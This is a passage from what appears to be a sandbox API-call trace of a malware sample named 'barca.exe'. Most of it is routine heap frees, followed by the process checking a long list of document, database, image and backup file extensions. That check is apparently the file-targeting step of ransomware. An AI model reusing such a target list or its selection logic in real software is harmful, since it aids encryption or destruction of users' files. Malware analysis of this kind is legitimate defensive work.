hHeap=0x420000) returned 1 [0175.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0175.806] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.857] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0175.974] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0175.975] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0175.975] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0175.978] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.141] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.143] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.247] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.475] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.546] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0176.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0176.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.838] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0176.838] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0176.838] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0176.856] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0176.856] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0176.856] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0177.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0177.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0177.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0177.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0177.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0177.081] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0177.082] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0177.082] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0177.082] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0177.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0177.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0177.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0177.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0177.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0177.144] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4111f98 | out: hHeap=0x420000) returned 1 [0177.148] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0177.148] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4111f98 | out: hHeap=0x420000) returned 1 [0177.148] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0177.148] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0177.151] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0177.682] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0178.440] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0178.532] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0178.855] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0178.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0178.882] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0179.992] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0179.992] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0179.992] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0179.992] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0179.992] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0179.992] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0179.993] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0179.993] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0179.993] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.004] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.008] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.010] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0180.010] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0180.010] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0180.015] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0180.015] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0180.017] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0180.017] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0180.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0180.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0180.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0180.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0180.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0180.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0180.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0180.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0180.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0180.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0180.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0180.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0180.032] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0180.032] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0180.032] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0180.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0180.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0180.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.461] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0180.461] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0180.462] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0180.465] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0180.465] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.922] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0180.926] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.926] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.926] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0180.965] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0180.965] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.965] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0180.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.969] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.974] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0180.974] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0180.975] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0180.975] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.975] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.980] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0180.981] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0180.983] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0180.985] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0180.985] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0180.986] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.986] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0181.000] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0181.001] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0181.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0181.130] lstrlenW (lpString="barca.exe") returned 9 [0181.130] lstrlenW (lpString=".1cd") returned 4 [0181.130] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0181.130] lstrlenW (lpString=".3ds") returned 4 [0181.130] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1 [0181.130] lstrlenW (lpString=".3fr") returned 4 [0181.130] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1 [0181.130] lstrlenW (lpString=".3g2") returned 4 [0181.130] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1 [0181.130] lstrlenW (lpString=".3gp") returned 4 [0181.130] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1 [0181.130] lstrlenW (lpString=".7z") returned 3 [0181.130] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0181.130] lstrlenW (lpString=".accda") returned 6 [0181.131] lstrcmpiW (lpString1=".accda", lpString2="ca.exe") returned -1 [0181.131] lstrlenW (lpString=".accdb") returned 6 [0181.131] lstrcmpiW (lpString1=".accdb", lpString2="ca.exe") returned -1 [0181.131] lstrlenW (lpString=".accdc") returned 6 [0181.131] lstrcmpiW (lpString1=".accdc", lpString2="ca.exe") returned -1 [0181.131] lstrlenW (lpString=".accde") returned 6 [0181.131] lstrcmpiW (lpString1=".accde", lpString2="ca.exe") returned -1 [0181.131] lstrlenW (lpString=".accdt") returned 6 [0181.131] lstrcmpiW (lpString1=".accdt", lpString2="ca.exe") returned -1 [0181.131] lstrlenW (lpString=".accdw") returned 6 [0181.131] lstrcmpiW (lpString1=".accdw", lpString2="ca.exe") returned -1 [0181.131] lstrlenW (lpString=".adb") returned 4 [0181.131] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1 [0181.131] lstrlenW (lpString=".adp") returned 4 [0181.131] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1 [0181.131] lstrlenW (lpString=".ai") returned 3 [0181.131] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1 [0181.131] lstrlenW (lpString=".ai3") returned 4 [0181.131] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1 [0181.131] lstrlenW (lpString=".ai4") returned 4 [0181.131] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1 [0181.131] lstrlenW (lpString=".ai5") returned 4 [0181.131] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1 [0181.131] lstrlenW (lpString=".ai6") returned 4 [0181.131] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1 [0181.131] lstrlenW (lpString=".ai7") returned 4 [0181.132] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".ai8") returned 4 [0181.132] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".anim") returned 5 [0181.132] lstrcmpiW (lpString1=".anim", lpString2="a.exe") returned -1 [0181.132] lstrlenW (lpString=".arw") returned 4 [0181.132] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".as") returned 3 [0181.132] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1 [0181.132] lstrlenW (lpString=".asa") returned 4 [0181.132] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".asc") returned 4 [0181.132] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".ascx") returned 5 [0181.132] lstrcmpiW (lpString1=".ascx", lpString2="a.exe") returned -1 [0181.132] lstrlenW (lpString=".asm") returned 4 [0181.132] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".asmx") returned 5 [0181.132] lstrcmpiW (lpString1=".asmx", lpString2="a.exe") returned -1 [0181.132] lstrlenW (lpString=".asp") returned 4 [0181.132] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".aspx") returned 5 [0181.132] lstrcmpiW (lpString1=".aspx", lpString2="a.exe") returned -1 [0181.132] lstrlenW (lpString=".asr") returned 4 [0181.132] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".asx") returned 4 [0181.132] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".avi") returned 4 [0181.132] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".avs") returned 4 [0181.132] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1 [0181.132] lstrlenW (lpString=".backup") returned 7 [0181.132] lstrcmpiW (lpString1=".backup", lpString2="rca.exe") returned -1 [0181.133] lstrlenW (lpString=".bak") returned 4 [0181.133] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1 [0181.133] lstrlenW (lpString=".bay") returned 4 [0181.133] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1 [0181.133] lstrlenW (lpString=".bd") returned 3 [0181.133] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1 [0181.133] lstrlenW (lpString=".bin") returned 4 [0181.133] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1 [0181.133] lstrlenW (lpString=".bmp") returned 4 [0181.133] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1 [0181.133] lstrlenW (lpString=".bz2") returned 4 [0181.133] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0181.133] lstrlenW (lpString=".c") returned 2 [0181.133] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1 [0181.133] lstrlenW (lpString=".cdr") returned 4 [0181.133] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1 [0181.133] lstrlenW (lpString=".cer") returned 4 [0181.133] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1 [0181.133] lstrlenW (lpString=".cf") returned 3 [0181.133] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1 [0181.134] lstrlenW (lpString=".cfc") returned 4 [0181.134] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1 [0181.134] lstrlenW (lpString=".cfm") returned 4 [0181.134] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1 [0181.134] lstrlenW (lpString=".cfml") returned 5 [0181.135] lstrcmpiW (lpString1=".cfml", lpString2="a.exe") returned -1 [0181.135] lstrlenW (lpString=".cfu") returned 4 [0181.135] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".chm") returned 4 [0181.135] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".cin") returned 4 [0181.135] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".class") returned 6 [0181.135] lstrcmpiW (lpString1=".class", lpString2="ca.exe") returned -1 [0181.135] lstrlenW (lpString=".clx") returned 4 [0181.135] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".config") returned 7 [0181.135] lstrcmpiW (lpString1=".config", lpString2="rca.exe") returned -1 [0181.135] lstrlenW (lpString=".cpp") returned 4 [0181.135] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".cr2") returned 4 [0181.135] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".crt") returned 4 [0181.135] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".crw") returned 4 [0181.135] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".cs") returned 3 [0181.135] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1 [0181.135] lstrlenW (lpString=".css") returned 4 [0181.135] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".csv") returned 4 [0181.135] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".cub") returned 4 [0181.135] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".dae") returned 4 [0181.135] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1 [0181.135] lstrlenW (lpString=".dat") returned 4 [0181.135] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".db") returned 3 [0181.136] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1 [0181.136] lstrlenW (lpString=".dbf") returned 4 [0181.136] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".dbx") returned 4 [0181.136] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".dc3") returned 4 [0181.136] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".dcm") returned 4 [0181.136] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".dcr") returned 4 [0181.136] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".der") returned 4 [0181.136] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".dib") returned 4 [0181.136] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".dic") returned 4 [0181.136] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".dif") returned 4 [0181.136] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".divx") returned 5 [0181.136] lstrcmpiW (lpString1=".divx", lpString2="a.exe") returned -1 [0181.136] lstrlenW (lpString=".djvu") returned 5 [0181.136] lstrcmpiW (lpString1=".djvu", lpString2="a.exe") returned -1 [0181.136] lstrlenW (lpString=".dng") returned 4 [0181.136] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".doc") returned 4 [0181.136] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0181.136] lstrlenW (lpString=".docm") returned 5 [0181.136] lstrcmpiW (lpString1=".docm", lpString2="a.exe") returned -1 [0181.137] lstrlenW (lpString=".docx") returned 5 [0181.137] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0181.137] lstrlenW (lpString=".dot") returned 4 [0181.137] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1 [0181.137] lstrlenW (lpString=".dotm") returned 5 [0181.137] lstrcmpiW (lpString1=".dotm", lpString2="a.exe") returned -1 [0181.137] lstrlenW (lpString=".dotx") returned 5 [0181.137] lstrcmpiW (lpString1=".dotx", lpString2="a.exe") returned -1 [0181.137] lstrlenW (lpString=".dpx") returned 4 [0181.137] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1 [0181.137] lstrlenW (lpString=".dqy") returned 4 [0181.137] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1 [0181.137] lstrlenW (lpString=".dsn") returned 4 [0181.137] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1 [0181.137] lstrlenW (lpString=".dt") returned 3 [0181.137] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1 [0181.137] lstrlenW (lpString=".dtd") returned 4 [0181.137] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1 [0181.137] lstrlenW (lpString=".dwg") returned 4 [0181.137] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1 [0181.137] lstrlenW (lpString=".dwt") returned 4 [0181.137] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1 [0181.137] lstrlenW (lpString=".dx") returned 3 [0181.137] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1 [0181.137] lstrlenW (lpString=".dxf") returned 4 [0181.137] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1 [0181.137] lstrlenW (lpString=".edml") returned 5 [0181.137] lstrcmpiW (lpString1=".edml", lpString2="a.exe") returned -1 [0181.137] lstrlenW (lpString=".efd") returned 4 [0181.137] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1 [0181.137] lstrlenW (lpString=".elf") returned 4 [0181.137] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1 [0181.138] lstrlenW (lpString=".emf") returned 4 [0181.138] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0181.138] lstrlenW (lpString=".emz") returned 4 [0181.138] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1 [0181.138] lstrlenW (lpString=".epf") returned 4 [0181.138] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1 [0181.138] lstrlenW (lpString=".eps") returned 4 [0181.138] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1 [0181.138] lstrlenW (lpString=".epsf") returned 5 [0181.138] lstrcmpiW (lpString1=".epsf", lpString2="a.exe") returned -1 